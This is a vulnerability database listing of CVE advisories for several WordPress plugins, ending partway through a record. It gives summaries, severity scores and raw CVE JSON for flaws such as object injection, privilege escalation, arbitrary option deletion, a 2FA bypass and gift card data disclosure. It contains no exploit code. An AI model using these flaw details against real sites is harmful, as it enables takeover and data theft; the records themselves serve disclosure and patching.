Search
Find a vulnerability
Search criteria
ⓘ
Use this form to refine search results.
Full-text search supports keyword queries with ranking and filtering.
You can combine vendor, product, and sources to narrow results.
Enable “Apply ordering” to sort by date instead of relevance.
10613 vulnerabilities by Unknown
CVE-2026-82925 (GCVE-0-2026-82925)
Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:11
VLAI
EPSS
VEX
Title
Site Reviews 7.2.2 - 8.2.2 - Unauthenticated PHP Object Injection via Form Signature
Summary
The Site Reviews WordPress plugin before 8.3.0 does not prevent request data from being deserialized, and derives the key protecting that data by padding out the site's WordPress nonce key, which makes the key publicly computable on installs where that key is absent, left at its sample value, or too short to be secret. This allows unauthenticated users to inject arbitrary PHP objects on such installs. The Site Reviews WordPress plugin before 8.3.0's own code contains no chain onward from the injected object, so how far it reaches depends on the other code present on the site.
Severity
8.1 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:10 UTC
CWE
- CWE-502 Deserialization of Untrusted Data
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/bce47707-b60c-42… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | Site Reviews |
Affected:
7.2.2 , < 8.3.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.1,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-82925",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:10:13.419353Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:11:07.358Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Site Reviews",
"vendor": "Unknown",
"versions": [
{
"lessThan": "8.3.0",
"status": "affected",
"version": "7.2.2",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Jakub Herman"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Site Reviews WordPress plugin before 8.3.0 does not prevent request data from being deserialized, and derives the key protecting that data by padding out the site\u0027s WordPress nonce key, which makes the key publicly computable on installs where that key is absent, left at its sample value, or too short to be secret. This allows unauthenticated users to inject arbitrary PHP objects on such installs. The Site Reviews WordPress plugin before 8.3.0\u0027s own code contains no chain onward from the injected object, so how far it reaches depends on the other code present on the site."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:06.747Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/bce47707-b60c-42a7-8817-89b1483f41a3/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Site Reviews 7.2.2 - 8.2.2 - Unauthenticated PHP Object Injection via Form Signature",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-82925",
"datePublished": "2026-09-10T06:00:06.747Z",
"dateReserved": "2026-08-31T11:50:40.276Z",
"dateUpdated": "2026-09-10T13:11:07.358Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-81431 (GCVE-0-2026-81431)
Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:11
VLAI
EPSS
VEX
Title
Registration Form for WooCommerce 1.1.0 - 1.1.2 - Contributor+ Privilege Escalation via Unvalidated tgwcfb_id
Summary
The Registration Form for WooCommerce WordPress plugin before 1.1.3 does not validate that the form referenced during registration is a legitimate registration form, reading the permitted-role allow-list from an arbitrary attacker-controlled post instead. A user able to create a post (Contributor and above) can therefore register a new account with an arbitrary role, including Administrator, leading to full site takeover. This is an incomplete fix of CVE-2026-54807.
Severity
7.2 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:10 UTC
CWE
- CWE-269 Improper Privilege Management
- CWE-269 - Improper Privilege Management
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/e1255dd5-90d9-4c… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | Registration Form for WooCommerce |
Affected:
1.1.0 , < 1.1.3
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-81431",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:10:03.394600Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-269",
"description": "CWE-269 Improper Privilege Management",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:11:21.791Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Registration Form for WooCommerce",
"vendor": "Unknown",
"versions": [
{
"lessThan": "1.1.3",
"status": "affected",
"version": "1.1.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Sai Praneeth Koti"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Registration Form for WooCommerce WordPress plugin before 1.1.3 does not validate that the form referenced during registration is a legitimate registration form, reading the permitted-role allow-list from an arbitrary attacker-controlled post instead. A user able to create a post (Contributor and above) can therefore register a new account with an arbitrary role, including Administrator, leading to full site takeover. This is an incomplete fix of CVE-2026-54807."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-269 Improper Privilege Management",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:06.575Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/e1255dd5-90d9-4ccf-9f84-3d1b41c5cba4/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Registration Form for WooCommerce 1.1.0 - 1.1.2 - Contributor+ Privilege Escalation via Unvalidated tgwcfb_id",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-81431",
"datePublished": "2026-09-10T06:00:06.575Z",
"dateReserved": "2026-08-26T19:16:18.415Z",
"dateUpdated": "2026-09-10T13:11:21.791Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-78361 (GCVE-0-2026-78361)
Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:11
VLAI
EPSS
VEX
Title
zipMoney(Zip Co) Payments Plugin for WooCommerce < 2.4.0 - Unauthenticated Arbitrary Option Deletion
Summary
The zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0 does not perform any authorisation checks on one of its front-end request handlers, and does not restrict which option name a caller may supply, allowing unauthenticated users to delete arbitrary WordPress options. This can be used to destroy site and access control configuration, deactivate every installed zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0, and take the site offline.
Severity
9.1 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:09 UTC
CWE
- CWE-862 Missing Authorization
- CWE-862 - Missing Authorization
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/8b9a00f5-d7f5-44… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | zipMoney(Zip Co) Payments Plugin for WooCommerce |
Affected:
0 , < 2.4.0
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.1,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-78361",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:09:05.946107Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-862",
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:11:35.705Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "zipMoney(Zip Co) Payments Plugin for WooCommerce",
"vendor": "Unknown",
"versions": [
{
"lessThan": "2.4.0",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Naoki Kawahigashi"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0 does not perform any authorisation checks on one of its front-end request handlers, and does not restrict which option name a caller may supply, allowing unauthenticated users to delete arbitrary WordPress options. This can be used to destroy site and access control configuration, deactivate every installed zipMoney(Zip Co) Payments Plugin for WooCommerce WordPress plugin before 2.4.0, and take the site offline."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:06.399Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/8b9a00f5-d7f5-447d-b109-d15e2cde3885/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "zipMoney(Zip Co) Payments Plugin for WooCommerce \u003c 2.4.0 - Unauthenticated Arbitrary Option Deletion",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-78361",
"datePublished": "2026-09-10T06:00:06.399Z",
"dateReserved": "2026-08-24T11:38:28.753Z",
"dateUpdated": "2026-09-10T13:11:35.705Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-77771 (GCVE-0-2026-77771)
Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:11
VLAI
EPSS
VEX
Title
miniOrange 2FA (Free & Pro) - 2FA Bypass via Session-Scoped OTP Lockout
Summary
The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not scope its second-factor attempt limit to the account being attacked, keying it instead to an identifier the client supplies and can change at will, allowing an attacker who already knows a victim's password to make unlimited one-time-passcode guesses and defeat the second factor. A second validation endpoint applies no attempt limit at all.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:09 UTC
CWE
- CWE-287 Improper Authentication
- CWE-287 - Improper Authentication
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/e1e57673-18cb-41… | exploitvdb-entrytechnical-description |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | miniOrange 2FA |
Affected:
6.2.8 , < 6.3.1
(semver)
|
|
| Unknown | miniOrange 2FA |
Affected:
18.0 , < 19.3
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-77771",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:09:42.911838Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-287",
"description": "CWE-287 Improper Authentication",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:11:50.760Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "miniOrange 2FA",
"vendor": "Unknown",
"versions": [
{
"lessThan": "6.3.1",
"status": "affected",
"version": "6.2.8",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"product": "miniOrange 2FA",
"vendor": "Unknown",
"versions": [
{
"lessThan": "19.3",
"status": "affected",
"version": "18.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "pervinzahidli"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not scope its second-factor attempt limit to the account being attacked, keying it instead to an identifier the client supplies and can change at will, allowing an attacker who already knows a victim\u0027s password to make unlimited one-time-passcode guesses and defeat the second factor. A second validation endpoint applies no attempt limit at all."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-287 Improper Authentication",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:06.225Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/e1e57673-18cb-4157-9d58-547af7101b04/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "miniOrange 2FA (Free \u0026 Pro) - 2FA Bypass via Session-Scoped OTP Lockout",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-77771",
"datePublished": "2026-09-10T06:00:06.225Z",
"dateReserved": "2026-08-21T10:58:08.233Z",
"dateUpdated": "2026-09-10T13:11:50.760Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-77770 (GCVE-0-2026-77770)
Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:12
VLAI
EPSS
VEX
Title
miniOrange 2FA (Free & Pro) - Unauthenticated Arbitrary Option Deletion via Out-of-Band Email Link Validator
Summary
The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not require a validated transaction before deleting site options whose names come from unauthenticated request input, allowing any visitor to delete arbitrary options, which can lock every administrator out of the dashboard or deactivate every miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 on the site.
Severity
10 (Critical)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:08 UTC
CWE
- CWE-862 Missing Authorization
- CWE-862 - Missing Authorization
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/68bc7294-1ee6-44… | exploitvdb-entrytechnical-description |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | miniOrange 2FA |
Affected:
5.3.24 , < 6.3.1
(semver)
|
|
| Unknown | miniOrange 2FA |
Affected:
18.0 , < 19.3
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 10,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-77770",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:08:43.647602Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-862",
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:12:06.700Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "miniOrange 2FA",
"vendor": "Unknown",
"versions": [
{
"lessThan": "6.3.1",
"status": "affected",
"version": "5.3.24",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"product": "miniOrange 2FA",
"vendor": "Unknown",
"versions": [
{
"lessThan": "19.3",
"status": "affected",
"version": "18.0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Osman Hussein"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 does not require a validated transaction before deleting site options whose names come from unauthenticated request input, allowing any visitor to delete arbitrary options, which can lock every administrator out of the dashboard or deactivate every miniOrange 2FA WordPress plugin before 6.3.1, miniOrange 2FA WordPress plugin before 19.3 on the site."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-862 Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:06.054Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/68bc7294-1ee6-44a9-9995-3b23b921f750/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "miniOrange 2FA (Free \u0026 Pro) - Unauthenticated Arbitrary Option Deletion via Out-of-Band Email Link Validator",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-77770",
"datePublished": "2026-09-10T06:00:06.054Z",
"dateReserved": "2026-08-21T10:57:53.664Z",
"dateUpdated": "2026-09-10T13:12:06.700Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-19840 (GCVE-0-2026-19840)
Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:12
VLAI
EPSS
VEX
Title
Notiqoo < 1.4.14 - Contributor+ Arbitrary Option Update via Multiple AJAX Actions
Summary
The Notiqoo WordPress plugin before 1.4.14 does not have capability checks on several of its AJAX actions and builds the name of the option to write from user input, allowing users with a role as low as contributor to modify arbitrary WordPress options, which can be used to deactivate Notiqoo WordPress plugin before 1.4.14 and to lock every administrator out of the site.
Severity
6.5 (Medium)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:08 UTC
CWE
- CWE-863 Incorrect Authorization
- CWE-863 - Incorrect Authorization
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/030939ee-9aa9-40… | exploitvdb-entrytechnical-description |
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-19840",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:08:31.204840Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-863",
"description": "CWE-863 Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:12:21.573Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Notiqoo",
"vendor": "Unknown",
"versions": [
{
"lessThan": "1.4.14",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Seongwon Lee"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Notiqoo WordPress plugin before 1.4.14 does not have capability checks on several of its AJAX actions and builds the name of the option to write from user input, allowing users with a role as low as contributor to modify arbitrary WordPress options, which can be used to deactivate Notiqoo WordPress plugin before 1.4.14 and to lock every administrator out of the site."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-863 Incorrect Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:05.869Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/030939ee-9aa9-4082-934e-c9a07fc3dfc3/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Notiqoo \u003c 1.4.14 - Contributor+ Arbitrary Option Update via Multiple AJAX Actions",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-19840",
"datePublished": "2026-09-10T06:00:05.869Z",
"dateReserved": "2026-08-14T07:56:48.561Z",
"dateUpdated": "2026-09-10T13:12:21.573Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-19439 (GCVE-0-2026-19439)
Vulnerability from nvd – Published: 2026-09-10 06:00 – Updated: 2026-09-10 13:12
VLAI
EPSS
VEX
Title
Ultimate Gift Cards for WooCommerce 3.0.3 - 3.2.9 - Unauthenticated Gift Card Code and Customer PII Disclosure via wps_uwgc_report_details
Summary
The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not have any authorisation check when displaying gift card details, allowing unauthenticated users to retrieve the gift cards attached to arbitrary orders and disclose customer personal data, balances, dates and, in 3.2.9, the live redemption code, which anyone holding it can spend.
Versions from 3.0.3 to 3.2.8 disclose the same data without the redemption code.
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: yes
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-10 13:08 UTC
CWE
- CWE-200 Information Exposure
- CWE-200 - Exposure of Sensitive Information to an Unauthorized Actor
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://wpscan.com/vulnerability/daefdabe-2277-47… | exploitvdb-entrytechnical-description |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Unknown | Ultimate Gift Cards for WooCommerce |
Affected:
3.0.3 , < 3.2.10
(semver)
|
{
"containers": {
"adp": [
{
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
}
},
{
"other": {
"content": {
"id": "CVE-2026-19439",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-10T13:08:20.470137Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-200",
"description": "CWE-200 Exposure of Sensitive Information to an Unauthorized Actor",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T13:12:35.999Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Ultimate Gift Cards for WooCommerce",
"vendor": "Unknown",
"versions": [
{
"lessThan": "3.2.10",
"status": "affected",
"version": "3.0.3",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Usama Arshad"
},
{
"lang": "en",
"type": "coordinator",
"value": "WPScan"
}
],
"descriptions": [
{
"lang": "en",
"value": "The Ultimate Gift Cards for WooCommerce WordPress plugin before 3.2.10 does not have any authorisation check when displaying gift card details, allowing unauthenticated users to retrieve the gift cards attached to arbitrary orders and disclose customer personal data, balances, dates and, in 3.2.9, the live redemption code, which anyone holding it can spend.\n\nVersions from 3.0.3 to 3.2.8 disclose the same data without the redemption code."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "CWE-200 Information Exposure",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-10T06:00:05.700Z",
"orgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"shortName": "WPScan"
},
"references": [
{
"tags": [
"exploit",
"vdb-entry",
"technical-description"
],
"url": "https://wpscan.com/vulnerability/daefdabe-2277-4753-9df5-581134540000/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Ultimate Gift Cards for WooCommerce 3.0.3 - 3.2.9 - Unauthenticated Gift Card Code and Customer PII Disclosure via wps_uwgc_report_details",
"x_generator": {
"engine": "WPScan CVE Generator"
}
}
},
"cveMetadata": {
"assignerOrgId": "1bfdd5d7-9bf6-4a53-96ea-42e2716d7a81",
"assignerShortName": "WPScan",
"cveId": "CVE-2026-19439",
